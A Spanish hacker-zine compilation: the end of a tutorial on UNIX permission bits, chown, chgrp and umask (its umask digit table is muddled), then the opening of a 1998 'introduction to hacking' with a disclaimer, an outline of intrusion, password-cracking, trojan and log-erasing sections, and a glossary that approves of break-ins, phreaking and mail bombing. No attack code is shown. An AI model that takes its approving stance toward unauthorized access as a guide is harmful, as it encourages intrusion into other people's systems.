  2293.         Hasta ahora hemos aprendido a dar 3 cualidades diferentes a un archivo
  2294.   o directorio. Y a estas alturas nos resulta ya familiar las letras 'r', 'w',
  2295.   y 'x'. Pero los sistema basados en UNIX nos permiten dar un ligero cambio
  2296.   a la estructura ya explicada anteriormente mediante estos 3 bits
  2297.   adicionales. Son los llamados: setgid, setuid, y el bit sticky.
  2298.  
  2299.         Gracias a estas opciones podemos de alguna manera 'romper' las normas
  2300.   que hemos establecido hasta ahora. Si recordais, hemos explicado que si un
  2301.   archivo fuese del tipo -rwxrwxrwx, es decir que tuviese todos los permisos
  2302.   posibles para todos los usuarios posibles, cualquier usuario podria
  2303.   borrarlo por ejemplo. En este caso, si a este mismo archivo le agregaramos
  2304.   el permiso del bit sticky, este archivo solo podria ser borrado por el
  2305.   propietario del archivo, el propietario del directorio y el root. veamos
  2306.   la representacion:
  2307.  
  2308.   Fig 1.
  2309.  
  2310.   -rwxrwxrwx   1 core     users           5 Feb  5 16:50 prueba*
  2311.  
  2312.   Fig 2.
  2313.  
  2314.   -rwxrwxrwt   1 core     users           5 Feb  5 17:56 prueba*
  2315.  
  2316.         Como podreis observar hay un ligero cambio en los permisos del
  2317.   archivo, ademas del caracter 't' que aun no conociamos (sticky o adosado)
  2318.   En este caso como hemos dicho la Fig 2. representa un archivo que solo
  2319.   puede ser borrado por el root, due±o del directorio donde se ubica, y por
  2320.   el creador de dicho archivo. Sin embargo en este segundo caso, cualquier
  2321.   persona puede escribir, leer, y ejecutar el fichero prueba, pero nunca
  2322.   borrar. Ademas de todo esto, el bit sticky tambien se usa para que no se
  2323.   retire dicho archivo del espacio swap hasta que el programa haya finalizado.
  2324.   Tambien se ha de resaltar, que siempre que se vea el simbolo 't' significara
  2325.   que el bit sticky esta a uno (por lo tanto activado) y el bit de ejecucion
  2326.   tambien a uno (por lo tanto el archivo podra ser ejecutado). Pero tambien
  2327.   cabe la posiblidad de encontrarnos delante del simbolo 'T' que nos indicara
  2328.   que el bit sticky esta a uno, pero el bit de ejecucion esta a 0.
  2329.  
  2330.         El establecimiento de este permiso es sumamente sencillo. Hasta ahora
  2331.   solo conociamos la sintaxis chmod XYZ, a partir de ahora agregamos una nueva
  2332.   variable, en este caso quedaria asi, chmod KXYZ, siendo K el valor que
  2333.   daremos para establecer tanto el bit sticky, como el setuid o setgid que
  2334.   explicaremos mas adelante.
  2335.         Para establecer el bit adosado en un archivo, deberemos darle el valor
  2336.   de 1 a la variable K. Ejemplo:
  2337.  
  2338.        chmod 1000 prueba         
  2339.  
  2340.     ---------T   1  core    users           7 Feb  5 18:00 prueba
  2341.  
  2342.         Como podemos observar el bit sticky esta a 1, pero el bit de ejecucion
  2343.   esta a 0, por lo tanto se representara mediante 'T'. Para la forma relativa
  2344.   el establecimiento seria colocando la letra 't'. Ejemplo:
  2345.  
  2346.        chmod a=t prueba
  2347.  
  2348.   Obteniendo los mismos resultados.
  2349.   Si tubieramos el formato -rw-rw---x al poner el bit sticky a 1 obtendriamos:
  2350.  
  2351.     -rw-rw---t   1 core    users           7 Feb  5 18:00 prueba*
  2352.  
  2353.         NOTA: Si habeis sido un poco observadores, os habreis dado cuenta de
  2354.   que si activamos el bit adosado, este no nos deja ver si el resto de
  2355.   usuarios tiene permisos de ejecucion. Siempre que el simbolo lo represente
  2356.   mediante 't' sabremos que el resto de usuarios tiene permisos de ejecucion.
  2357.   Y si lo representa mediante 'T', el resto de usuarios no los tendra.
  2358.  
  2359.         Una vez explicado todo esto, podemos pasar a explicar el
  2360.   funcionamiento del bit setuid y setgid.
  2361.         El bit setuid estara activado y representado en los permisos del
  2362.   dueño del archivo. De tal forma que si el setgid esta activado, estara
  2363.   representado en los permisos del grupo.
  2364.         Si el bit esta activado en el primer terceto de permisos (setuid)
  2365.   y es ejecutado por un usuario, el fichero en concreto, a partir de ese
  2366.   momento actuara de la misma forma, que actuaria si fuese ejecutado por el 
  2367.   propio dueño del fichero. De esta misma forma si el bit esta activado
  2368.   en el campo del grupo (setgid), y lo ejecuta un usuario del tercer tercerto
  2369.   de permisos, este inmediatamente actuara como si fuese del grupo de ese
  2370.   fichero.
  2371.  
  2372.         Igual que antes, siempre que veamos el simbolo 's', en este caso,
  2373.   significara dependiendo de donde se encuentre, que el bit setuid, o setgid
  2374.   esta a 1, y el bit de ejecucion tambien a 1. Si se representa mediante 'S'
  2375.   el bit de ejecucion estara a 0. Puesto que estos permisos consisten en
  2376.   ejecutar archivos con permisos diferentes, debera de darse permisos de
  2377.   ejecucion tanto al due±o, como al grupo y resto de usuarios, ya que si el
  2378.   bit setuid o setgid esta activado, quedra decir que queremos que lo
  2379.   ejecuten otros usuarios, por lo tanto no tendria sentido quitar el permiso
  2380.   de ejecucion de los campos.
  2381.  
  2382.         Estos bits siguen la misma nomenclatura que el ya tratado bit sticky.
  2383.   Si deseamos aplicarlo de la forma absoluta, bastara con darle al valor
  2384.   K el numero 4, con ello activaremos el bit setuid a 1. En cambio si le damos
  2385.   a K el valor 2, activaremos el setgid. De igual forma que anteriormente,
  2386.   tanto el bit sticky, como setuid o setgid, sus valores se pueden sumar. Si 
  2387.   desearamos dar permisos a un archivo con el bit sticky, setgid y setuid 
  2388.   activados, ademas de dar permisos de ejecucion a todo el mundo, bastaria 
  2389.   con hacer un ' chmod 7111 archivo '.
  2390.         Si optaramos por la forma relativa, tenemos a nuestra disposicion la
  2391.   letra 's'para dar dichos permisos. Ejemplo:
  2392.  
  2393.        chmod g=s archivo
  2394.  
  2395.         Con esta instruccion quitariamos todos los permisos antiguos del grupo
  2396.   (si los hubiera) y activaria el bit setgid, ya que estamos 'tocando' el
  2397.   campo del grupo, y en ese campo no puede estar el bit setuid.
  2398.  
  2399.         A continuacion mostramos 4 ejemplos de lo hablado hasta ahora, para
  2400.   poder observar la diferencia de lo aprendido hasta el momento. 
  2401.         El primero representa un archivo ejecutable con el bit setuid a 1, y
  2402.   ejecutable. El 2 ejemplo representa lo anterior pero sin permisos  de
  2403.   ejecucion ni de ningun tipo. El 3 representa un archivo con permisos de
  2404.   ejecucion y bit setgid activado. Y por ultimo un archivo sin permisos con
  2405.   setgid activado y permisos de ejecucion desactivados.
  2406.  
  2407.   Fig 1.
  2408.  
  2409.   ---s--x--x   1 core     users           5 Feb  5 19:26 prueba*
  2410.  
  2411.   Fig 2.
  2412.  
  2413.   ---S------   1 core     users           5 Feb  5 19:26 prueba
  2414.  
  2415.   Fig 3.
  2416.  
  2417.   ---x--s--x   1 core     users           5 Feb  5 19:26 prueba*
  2418.  
  2419.   Fig 4.
  2420.  
  2421.   ------S---   1 core     users           5 Feb  5 19:26 prueba
  2422.  
  2423.         Uno de los archivos mas claros en los sistemas UNIX, que necesita
  2424.   tener especificado el permiso setuid, es el nombrado /usr/bin/passwd que
  2425.   permite a cualquier usuario cambiar su pasword o palabra clave, ya que para
  2426.   sobreescribir su nueva clave en el fichero /etc/passwd se ha de tener
  2427.   permisos de escritura. Si deseais obtener mas informacion sobre que
  2428.   archivos o directorios tienen establecidos tanto el bit adosado, bit
  2429.   setuid o setgid nos podemos ayudar con las ordenes 'find -perm 1000 -print'
  2430.   'find -perm 4000 -print' y 'find -perm 2000 -print' respectivamente.
  2431.  
  2432.         Tambien uno de los ejemplos mas claros a aplicar para el bit sticky,
  2433.   es el del directorio /tmp ya que todo el mundo tiene cualquier permiso sobre
  2434.   ese directorio, sino estuviera dicho bit activado, cualquier usuario
  2435.   podria borrar archivos que no pertenecieran a el.
  2436.  
  2437.   6. chown, chgrp y umask
  2438.   ------------------------
  2439.         No podiamos despedirnos de este documento sin almenos hacer mencion de
  2440.   3 comandos que tambien tienen mucho que ver con los permisos de todo
  2441.   directorio o archivo UNIX. A continuacion pasamos a explicarlos:
  2442.  
  2443.   Chown:
  2444.  
  2445.         Gracias a esta orden nos es permisible cambiar la propiedad del
  2446.   archivo, es decir 'entregar' un archivo de nuestra propiedad a otra persona,
  2447.   con lo cual esta ultima persona sera el nuevo propietario de dicho fichero.
  2448.         Es importante saber que la propiedad de cualquier fichero solo puede
  2449.   cambiarla el root o superusuario del sistema.
  2450.  
  2451.   Podemos utilizar esta orden de la siguiente forma:
  2452.  
  2453.                          chown nuevo_usuario fichero
  2454.  
  2455.   Ejemplo:
  2456.  
  2457.   ls -l
  2458.  
  2459.      -rw-rw---t   1 core    users           7 Feb  5 18:00 prueba*
  2460.  
  2461.   chown temp prueba
  2462.  
  2463.   ls -l
  2464.  
  2465.      -rw-rw---t   1 temp    users           7 Feb  5 18:20 prueba*
  2466.  
  2467.         Como se puede apreciar claramente, el superusuario del sistema a
  2468.   cambiado la propiedad del archivo 'prueba' que antes pertenecia al usuario
  2469.   'core' y lo ha establecido de forma que el nuevo dueño del fichero es el
  2470.   usuario temp.
  2471.  
  2472.         De igual forma que en la orden chmod, chown tambien posee diversos
  2473.   parametros que se pueden aplicar cojuntamente con esta orden, a continuacion
  2474.   los describimos:
  2475.  
  2476.   Sintaxis general:
  2477.  
  2478.      chown [opciones] establecimiento_del_nuevo_usuario archivo_o_directorio
  2479.  
  2480.   Opciones                     Descripcion
  2481.   --------                     -----------
  2482.   -c         *Nos describe con detalle solo los archivos cuya propiedad
  2483.               cambian. Si volvemos a establecer la propiedad que ya tenia, el
  2484.               sistema no mostrara nada.
  2485.  
  2486.   -f         *Esta opcion no imprime mensaje de error alguno sobre archivos
  2487.               cuya propiedad no pueden cambiarse.
  2488.             
  2489.   -v         *Describe con detalle los permisos de propiedad, aunque volvamos
  2490.               a establecer los mismos, el sistema nos lo indicara.
  2491.  
  2492.   -R         *Esta opcion cambia de forma recursiva la propiedad de los
  2493.               directorios y todo lo que haya dentro.
  2494.  
  2495.   --help     *Muestra como usar chown con sus respectivos parametros
  2496.  
  2497.   --version  *Imprime informacion de la version chown utilizado por nuestro
  2498.               S.O
  2499.  
  2500.         Si te interesa concretar mas a cerca de este comando con todas sus
  2501.   opciones posibles, puedes consultar la ayuda de UNIX (man chmod)
  2502.  
  2503.   chgrp:
  2504.  
  2505.         Gracias a esta orden que nos brinda el sistema UNIX, podemos cambiar
  2506.   la propiedad de grupo a un archivo en concreto, tan solo necesitaremos 2
  2507.   requisitos para llevar a cabo la labor mencionada anteriomente, ser el
  2508.   propietario del fichero, y pertenecer al grupo al que se va a cambiar el
  2509.   archivo.
  2510.  
  2511.         *NOTA* El usuario root no necesita cumplir los requisitos mencionados
  2512.   anteriormente.
  2513.  
  2514.   Podemos utilizar esta orden de la siguiente forma:
  2515.  
  2516.                       chgrp nuevo_grupo fichero
  2517.  
  2518.   Ejemplo:
  2519.  
  2520.   ls -l
  2521.  
  2522.      -rw-rw---t   1 core    users           7 Feb  5 18:00 prueba*
  2523.  
  2524.   chgrp users2 prueba
  2525.  
  2526.   ls -l
  2527.  
  2528.      -rw-rw---t   1 core    users2           7 Feb  5 18:20 prueba*
  2529.  
  2530.         En este caso el usuario core, propietario del archivo prueba, y ademas
  2531.   miembro del grupo users2, a establecido un nuevo grupo sobre su archivo,
  2532.   users2, eliminando el que habia antes definido, users.
  2533.  
  2534.         De igual forma que en las ordenes chmod y chown, chgrp tambien posee
  2535.   diversos parametros que se pueden aplicar cojuntamente con esta orden, a
  2536.   continuacion los describimos:
  2537.  
  2538.   Sintaxis general:
  2539.  
  2540.      chgrp [opciones] establecimiento_del_nuevo_grupo archivo_o_directorio
  2541.  
  2542.   Opciones                     Descripcion
  2543.   --------                     -----------
  2544.   -c         *Nos describe con detalle solo los archivos cuya propiedad
  2545.               cambian. Si volvemos a establecer la propiedad que ya tenia, el
  2546.               sistema no mostrara nada.
  2547.  
  2548.   -f         *Esta opcion no imprime mensaje de error alguno sobre archivos
  2549.               cuya propiedad no pueden cambiarse.
  2550.             
  2551.   -v         *Describe con detalle los cambios de propiedad. Aunque volvamos a
  2552.               establecer los mismos, el sistema nos lo indicara.
  2553.  
  2554.   -R         *Esta opcion cambia de forma recursiva la propiedad de los
  2555.               directorios y todo lo que haya dentro.
  2556.  
  2557.   --help     *Muestra como usar chgrp con sus respectivos parametros
  2558.  
  2559.   --version  *Imprime informacion de la version chgrp utilizado por nuestro
  2560.               S.O
  2561.  
  2562.         Si te interesa concretar mas a cerca de este comando con todas sus
  2563.   opciones posibles, puedes consultar la ayuda de UNIX (man chmod)
  2564.  
  2565.   umask:
  2566.  
  2567.         Para finalizar este apartado, y el final de este documento, daremos
  2568.   paso a la explicacion del comando umask o mascara.
  2569.  
  2570.         Gracias a este comando podemos especificar cuales seran los permisos
  2571.   predeterminados que obtendran los archivos o directorios, al crearse.
  2572.  
  2573.         Seguramente a lo largo de este largo documento, a medida que habeis
  2574.   ido leyendo y aprendiendo diversas cosas, os habeis parado por un momento
  2575.   a pensar sobre que permisos tendria un archivo justamente despues de haber
  2576.   sido creado. Para responder a esta pregunta nos podemos ayudar del comando
  2577.   citado anteriormente, umask. Si lo ejecutamos como hemos dicho
  2578.   anteriormente, sin ningun tipo de parametro, el sistema nos contestara con
  2579.   un numero formado por 3 digitos, el primer digito se referira al dueño del
  2580.   archivo, el segundo al grupo que corresponde el creador del archivo, y el
  2581.   tercer digito el resto de usuarios.
  2582.  
  2583.         Observa el siguiente cuadro que muestra los valores mas comunes de
  2584.   umask y sus valores asociados:
  2585.  
  2586.   Fig 1.
  2587.  
  2588.          Umask               Ficheros               Directorios
  2589.     ---------------------------------------------------------------
  2590.          000                -rw-rw-rw-              drwxrwxrwx
  2591.          002                -rw-rw-r--              drwxrwxr-x
  2592.          006                -rw-rw----              drwxrwx--x
  2593.          007                -rw-rw----              drwxrwx---
  2594.          022                -rw-r--r--              drwxr-xr-x
  2595.          026                -rw-r-----              drwxr-x--x
  2596.          027                -rw-r-----              drwxr-x---
  2597.          066                -rw-------              drwx--x--x
  2598.          067                -rw-------              drwx--x---
  2599.          077                -rw-------              drwx------
  2600.  
  2601.     - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  2602.          0         proporciona permisos de      proporciona todos los
  2603.                    lectura y escritura          permisos
  2604.  
  2605.          1         proporciona permisos de      proporciona permisos de
  2606.                    lectura y escritura          lectura y escritura
  2607.         
  2608.          2         propociona permisos de       proporciona permisos de
  2609.                    lectura                      lectura y ejecucion
  2610.  
  2611.          4         proporciona permisos de      proporciona permisos de
  2612.                    escritura                    escritura y ejecucion
  2613.  
  2614.         *NOTA* Como puedes observar ,umask, al igual que chmod, te permite
  2615.   sumar los valores (1, 2 y 4) para poder atribuir mas de un permiso a un
  2616.   archivo o directorio.
  2617.  
  2618.   Ejemplo:
  2619.  
  2620.                     umask
  2621.  
  2622.                     022
  2623.  
  2624.         Despues de ejecutar el comando umask en el sistema, este nos responde
  2625.   con el numero 022, con esto nos quiere decir que todo archivo que creemos
  2626.   se inicializara con los permisos -rw-r--r-- y drwxr-xr-x para los
  2627.   directorios.
  2628.  
  2629.   Ejemplo2:
  2630.  
  2631.                     umask 077  
  2632.  
  2633.         Al ejecutar esta sentencia haremos entender al sistema, que a partir
  2634.   de ese momento todo archivo que creemos obtendra los permisos -rw------- y
  2635.   drwx------ para directorios. Como habreis observado los dos ultimos 7
  2636.   son sumados (4+2+1) para especificar mas de un permiso.
  2637.  
  2638.         *NOTA* Aunque cambiemos el valor del umask, este no sera permanente,
  2639.   ya que dicha sentencia esta definida en uno de los archivos de arranque
  2640.   de todo sistema UNIX, y al reiniciar la maquina, volveria a tener
  2641.   el valor de siempre. Si quisieramos un valor permanente distinto
  2642.   al que esta establecido por defecto, tendriamos que modificar los
  2643.   archivos de arranque del S.O
  2644.  
  2645.   7. Despedida
  2646.   ------------
  2647.         Espero que todo aquel que haya leido este texto, pueda ahora
  2648.   desemvolverse sin ningun tipo de problema por los sistemas UNIX en lo
  2649.   referente a permisos.
  2650.         Quiero agradecer a todo aquel que se a mostrado interesado en leer
  2651.   este documento, tanto si ya poseia estos conocimientos como si no.
  2652.  
  2653.         Hemos dado basicamente (sin entrar en profundidad sobre ciertos
  2654.   temas), todo lo referente a permisos de este S.O. Finalmente quiero volver
  2655.   a recalcar, que todo aquel que no haya entendido algo en concreto, crea que
  2656.   he podido cometer algun error, o simplemente piense que he podido o deberia
  2657.   haber agregado alguna cosa mas a todo lo dicho anteriormente, puede ponerse
  2658.   en contacto conmigo, y informarme sobre ello.
  2659.  
  2660.                                                               by  Koji
  2661.                                                          soykoji@hotmail.com
  2662.  
  2663. <────────────────────────────────────────────────────────────────────────────>
  2664. ██████████████████████████████████████████████████████████████████████████████
  2665. <────────────────────────────────────────────────────────────────────────────>
  2666.  
  2667.                       ┌──────────────────────────────┐ 
  2668.                       █ INTRODUCCION AL HACKING v2.0 █
  2669.                       └──────────────────────────────┘
  2670.  
  2671.   POR DAEMON 25-01-1998
  2672.   Daemond@usa.net
  2673.   Dillet@usa.net
  2674.  
  2675.  
  2676.         Antes que nada, he de decir que el contenido de este texto esta
  2677.   solamente destinado a usos educacionales, de investigacion y/o de
  2678.   desarrollo. En ningun momento el creador de este texto se hace
  2679.   responsable de los daños causados debido a un mal uso de el mismo.
  2680.  
  2681.         Bien, en este texto se recopilan los aspectos basicos del hacking
  2682.   para toda la gente que esta empezando. El objetivo es una estructuracion de
  2683.   la informacion para asi no tener que leer mil textos que te repiten los
  2684.   mismos conceptos una y otra vez. Espero que este texto sea de utilidad a
  2685.   todo el que este empezando en estos temas asi como puede dar algunas ideas
  2686.   a los que tengan un nivel medio.
  2687.  
  2688.         Tambien es verdad que en este texto se cuentan algunos metodos de
  2689.   hacking aunque muchas veces se dejan cosas en el tintero que seran
  2690.   explicadas en otros textos.. }-)
  2691.  
  2692.         Tambien, aunque no se diga constantemente a lo largo del texto, la
  2693.   mayoria de las ideas aqui indicadas son para sistemas UNIX y derivados por
  2694.   lo que si os enfrentais a otras cosas como el Moco$oft NT dudo que os sirva
  2695.   alguna de las ideas aqui expuestas. Igualmente, para conseguir un acceso si
  2696.   nos encontramos ante un firewall la mayoria de las tecnicas aqui explicadas 
  2697.   tampoco funcionaran por lo que habra que exprimirse un poco mas el tarro :(
  2698.  
  2699.         Por cierto, no pongo acentos para evitar las tipicas putadillas :)
  2700.  
  2701.         Como siempre digo, sugerencias, dudas y preguntas.. e incluso
  2702.   criticas a mi mail.
  2703.  
  2704.                 Dillet@usa.net
  2705.                 Daemond@usa.net
  2706.  
  2707.         Me gustaria que me maileaseis ( leo todos los mails que recibo) para
  2708.   decirme si algun apartado del texto no queda lo suficientemente claro ya
  2709.   que me gustaria que este texto sirviese para todo el mundo e ir
  2710.   actualizando para posteriores revisiones. Para tecnicas de hacking mas
  2711.   avanzadas que las que aqui se exponen, ya escribire textos aparte de este,
  2712.   ya que esto es una introduccion y no cuenta tecnicas avanzadas. Tambien me
  2713.   podeis mailear para pedirme posteriores ediciones de este texto o de otros
  2714.   textos de parecidas caracteristicas :)
  2715.  
  2716.         Igualmente, supongo que en un texto tan grande habra fallos por lo
  2717.    que cualquier ayuda para corregirlos es bienvenida ;o)
  2718.  
  2719.   Asi, la ESTRUCTURA DEL TEXTO sera:
  2720.  
  2721. 0.- Glosario
  2722. 1.- Buscando maquina objetivo y algunas cosas sobre unix orientado al hacking
  2723. 2.- Introduccion a distintos sistemas
  2724. 3.- Como conseguir una cuenta
  2725. 4.- Como obtener cuentas
  2726. 4.1.- Cuentas por defecto
  2727. 4.2.- Ingenieria social
  2728. 4.3.- Conseguir fichero passwd con algun bug
  2729. 4.4.- Conseguir directamente una cuenta con un bug
  2730. 4.5.- PHF
  2731. 4.6.- Xploits que te dan directamente una shell
  2732. 4.7.- Otros metodos (FTP, Spoofing, etc)
  2733. 5.- Salir de shell restringida
  2734. 6.- Crackear password de maquinas UNIX
  2735. 6.1.- Introduccion y algoritmo de cifrado.
  2736. 6.2.- Conseguir el fichero de passwd estando dentro de la maquina
  2737. 6.2.1.- Introduccion
  2738. 6.2.2.- Password shadowing
  2739. 6.2.3.- NIS
  2740. 6.3.- Distintos metodos para bajaros el fichero de passwd una vez lo 
  2741. tienes bajo control
  2742.     6.4.- Como se crackean
  2743.     6.5.- Que crackeador de password usar.
  2744. 7.- Obtener acceso de root
  2745. 7.1.- Fuerza bruta
  2746. 7.2.- Exploits
  2747. 7.3.- Troyanos
  2748. 8.- Hackear con condon.
  2749. 9.- Borrar huellas.
  2750. 10.- Preservar el acceso y poner sniffers
  2751. 11.- Legalidad
  2752. 12.- Despedida
  2753.  
  2754.   0. GLOSARIO
  2755.  
  2756.         En este glosario, lo primero que se ha de definir es la palabra
  2757.   HACKER ya que esto es lo que nos va a llevar todo este texto.
  2758.  
  2759.         Un hacker es una persona con un conocimiento importante de sistemas 
  2760.   operativos, redes, protocolos, lenguajes de programacion, etc. con lo que
  2761.   se podria resumir tener un dominio de la seguridad en redes. Asi, opino
  2762.   que un hacker no es un chaval que le pasan algunos logins y passwords y
  2763.   que se dedica a entrar a la maquina y ejecutar exploits que ni sabe ni lo
  2764.   que hacen ni le importa, sino que simplemente sabe que le dan categoria
  2765.   de rOOt. Para mi esto se puede hacer durante una temporada para aprender
  2766.   pero siempre como una etapa para llegar mas adelante a fines mas
  2767.   interesantes :)
  2768.  
  2769.         Resumiendo, un HACKER deberia ser una persona con amplios
  2770.   conocimientos y que sabe en todo momento perfectamente lo que hace y que
  2771.   entra en sistemas por diversion y no para destrozar sistemas o cosas
  2772.   parecidas. Aunque para otros como el famoso Marcus J. Ranum compara los
  2773.   hackers con "vandals", pero en fin, hay opiniones para todos los gustos
  2774.   :o(
  2775.  
  2776.         En fin despues de este rollo filosofico que opino que es necesario en
  2777.   un texto de introduccion a estos temas, paso a comentaros un breve glosario
  2778.   para introducirse en la jerga de este mundillo.
  2779.  
  2780.   Este glosario esta por orden alfabetico:
  2781.  
  2782.         ADMINISTRADOR, sysop, root :Esla persona que se encarga del sistema.
  2783.   Se suele denominar rOOt y es la persona que tiene el poder absoluto sobre
  2784.   la maquina. Tiene un UID=0.
  2785.  
  2786.         AGUJERO, bug, hole : Es und efecto en el software o hardware que como
  2787.   su nombre indica deja agujeros para los hackers y que gracias a dios
  2788.   existen muchos ya que si no esto seria de locos jeje
  2789.  
  2790.         AIX: Sistema operativo de IBM
  2791.  
  2792.         BUGS y EXPLOITS: Los bugs son fallos en el software o en el hardware y
  2793.   que usan los hackers para entrar en sistemas y un exploit es un programa que 
  2794.   aprovecha el agujero dejado por el bug. Ver AGUJERO.
  2795.  
  2796.         BOMBA LOGICA: Codigo que ejecuta una particular manera de ataque
  2797.   cuando una determinada condicion se produce. Por ejemplo una bomba logica
  2798.   puede formatear el disco duro un dia determinado, pero a diferencia de un
  2799.   virus.. la bomba logica no se replica.
  2800.  
  2801.         BACKDOOR :Puerta trasera. Mecanismo que tiene o que se debe crear en
  2802.   un software para acceder de manera indebida (jeje)
  2803.  
  2804.         BBS (Bulletin Board System): Es una maquina a la que se accede a
  2805.   traves de la linea telefonica y donde se dejan mensajes y software. La
  2806.   putada es que si la bbs no esta en tu ciudad.. timofonica se hace
  2807.   millonaria a tu costa. :o(
  2808.  
  2809.         BOXING: Uso de aparatos electronicos o electricos (Boxes) para hacer 
  2810.   phreaking. Esto no es hacking sino phreaking... hay blue box, red box, etc.
  2811.  
  2812.         BOUNCER: Tecnica que consiste en usar una maquina de puente y que 
  2813.   consigue que telneteando al puerto xxxx de la maquina "bouncerada" te 
  2814.   redireccione la salida a un puerto determinado de otra maquina. Esta tecnica
  2815.   es muy usada en el irc redireccionando a los puertos destinados a los
  2816.   servidores de irc por anonimicidad y otros temas que no vienen al caso.
  2817.  
  2818.         CABALLOS DE TROYA :Programa que se queda residente en un sistema y 
  2819.   que ha sido desarrollado para obtener algun tipo de informacion. Por
  2820.   ejemplo seria un caballo de troya un programa que al ejecutarlo envie el
  2821.   fichero de /etc/passwd a una determinada IP (Casualmente la nuestra ;o)
  2822.  
  2823.         CORTAFUEGOS: Ver firewall
  2824.  
  2825.         COPS: Programa de seguridad.
  2826.  
  2827.         CERT (Computer Emergency Response Team): Bien, como su nombre indica 
  2828.   es una gente que se dedica de trabajar en seguridad pero que en su esfuerzo 
  2829.   por informar de bugs nuevos, casi nos ayudan mas a nosotros que a ellos :o>
  2830.  
  2831.         CLOACKER: Programa que borra los logs (huellas) en un sistema.
  2832.   Tambien llamados zappers.
  2833.  
  2834.         CRACKER : Esta palabra tiene dos acepciones, por un lado se denomina 
  2835.   CRACKER a un HACKER que entra a un sistema con fines malvados aunque 
  2836.   normalmente la palabra CRACKER se usa para denominara a la gente que 
  2837.   desprotege programas, los modifica para obtener determinados privilegios,
  2838.   etc.
  2839.  
  2840.         CRACKEADOR DE PASSWORDS:Programa utilizado para sacar los password 
  2841.   encriptados de los archivos de passwords. Esto se desarrollara mas adelante 
  2842.   en este texto
  2843.  
  2844.         DAEMON: Proceso en background en los sistemas Unix, es decir un
  2845.   proceso que esta ejecutandose en segundo plano.
  2846.  
  2847.         EXPLOIT Metodo concreto de usar un bug para entrar en un sistema. 
  2848.  
  2849.         FIREWALL, cortafuego: Sistema avanzado de seguridad que impide a 
  2850.   personas no acreditadas el acceso al sistema mediante el filtrado de los 
  2851.   paquetes dependiendo de la IP de origen, en otras palabras, una putada :o(.
  2852.   En la actualidad esta considerado como uno de los medios de seguridad mas 
  2853.   fiables y hay poca documentacion al respecto de como hackearlos.
  2854.  
  2855.         FUERZA BRUTA (hackear por...) Es el procedimiento que usan tanto los 
  2856.   crackeadores de password de UNIX como los de NT (o por lo menos los que yo 
  2857.   conozco) que se basan en aprovechar diccionarios para comparar con los 
  2858.   passwords del sistema para obtenerlos. Esto se desarrolla mas adelante en 
  2859.   este texto.
  2860.  
  2861.         FAKE MAIL: Enviar correo falseando el remitente. Es muy util en
  2862.   ingenieria social.
  2863.  
  2864.         GRAN HERMANO: Cuando la gente se refiere al Gran Hermano, se refiere a 
  2865.   todo organismo legal de lucha contra el mundo underground.
  2866.  
  2867.         GUSANO: Termino famoso a partir de Robert Morris, Jr.Gusanos son 
  2868.   programas que se reproducen ellos mismos copiandose una y otra vez de 
  2869.   sistema a sistema y que usa recursos de los sistemas atacados.
  2870.  
  2871.         HACKING :Amplia definicion al principio del glosario.
  2872.  
  2873.         HACKER :Amplia definicion al principio del glosario.
  2874.  
  2875.         HOLE: Ver bug.
  2876.  
  2877.         HP/UX: Sistema operativo de HP.
  2878.  
  2879.         INGENIERIA SOCIAL :Obtencion de informacion por medios ajenos a la 
  2880.   informatica. Sobre esto nos extenderemos mas adelante en este texto.
  2881.  
  2882.         IRIX: Sistema operativo.
  2883.  
  2884.         ISP (Internet Services Provider): Proveedor de servicios internet.
  2885.  
  2886.         KEY: Llave. Se puede traducir por clave de acceso a un software o
  2887.   sistema.
  2888.  
  2889.         KERBEROS: Sistema de seguridad en el que los login y los passwords van 
  2890.   encriptados.
  2891.  
  2892.         KEVIN MITNICK: Es el hacker por excelencia!!!. Sus hazañas se pueden 
  2893.   encontrar en mil sitios en la red.
  2894.  
  2895.         LAMER: Un lamer es una persona que no tiene ninguna inquietud por
  2896.   todos estos temas de la seguridad sino que lo unico que quiere es tener un
  2897.   login y un pass para entrar a un sistema y formatear el disco duro, o para
  2898.   decirle a un amigo que es un superhacker.. o el tipico que te llega en el
  2899.   IRC y te dice.. he suspendido un examen y quiero entrar al ordenador de mi
  2900.   escuela para cambiar las notas. Esto os prometo que me ha pasado mas de una
  2901.   vez :o(
  2902.   Importante es distinguir lamer de newbie o novato. Un novato o newbie es una 
  2903.   persona que SI que tiene interes en estos temas pero que logicamente
  2904.   necesita un tiempo de aprendizaje ya que nadie ha nacido aprendico.
  2905.  
  2906.         LINUX: Sistema operativo de la familia UNIX y que es muy adecuado
  2907.   para tenerlo en la maquina de casa ya que no requiere demasiados recursos.
  2908.   Este sistema operativo lo debes tener en tu casa si quieres hacer algo en
  2909.   el mundo del hacking aunque ya se comentara mas adelante.
  2910.  
  2911.         LOGIN : Para entrar en un sistema por telnet se necesita siempre un
  2912.   login (nombre) y un password (clave).
  2913.  
  2914.         MAQUINA: En este texto, habitualmente se utilizara el termino maquina
  2915.   para referirse al ordenador. Mejor no entrar en filosofias :->
  2916.  
  2917.         MAIL BOMBER: Es una tecnica de puteo que consiste en el envio masivo
  2918.   de mails a una direccion (para lo que hay programas destinados al efecto)
  2919.   con la consiguiente problematica asociada para la victima. Solo aconsejo su
  2920.   uso en situaciones criticas.
  2921.  
  2922.         NUKEAR: Consiste en joder a gente debido a bugs del sistema operativo
  2923.   o de los protocolos. Esto se da habitualmente en el IRC y considero que es
  2924.   una perdida de tiempo... pero hay mucha gente que su cabecita no da para
  2925.   mas y se entretiene con estas pijadas. ¿Sera porque no son capaces de
  2926.   enfrentarse a cosas mas serias??  :->
  2927.  
  2928.         PASSWORD :Contraseña asociada a un login. Tambien se llama asi al
  2929.   famoso fichero de UNIX /etc/passwd que contiene los passwords del sistema
  2930.   que se comentaran mas adelante en este texto.
  2931.  
  2932.         PHREAKING: Consiste en evitar total o parcialmente el pago a las
  2933.   grandes multinacionales. Este concepto se usa basicamente para referirse
  2934.   al pago del telefono ya que tal y como esta Timofonica apetece. En general,
  2935.   es complicado conseguirlo en España, pero hay que intentarlo. :->>
  2936.  
  2937.         PIRATA:Persona dedicada a la copia y distribucion de software ilegal,
  2938.   tando software comercial crackeado, como shareware registrado, etc...No
  2939.   hay que confundir en absoluto este termino con el de hacker ya que tal como
  2940.   se ve en las definiciones no tiene nada que ver.
  2941.  
  2942.         PPP: Point-to-point protocol... RFC 1661.
  2943.  
  2944.         PASSWORD CRACKER: Ver CRACKEADOR DE PASSWORD.
  2945.  
  2946.         PGP: Pretty Good Privacy. Necesario cuando os paseis mails
  2947.         "calentitos". Es un programa de encriptacion de llave publica.
  2948.  
  2949.         PHRACK: zine sobre hack muy famosa.
  2950.  
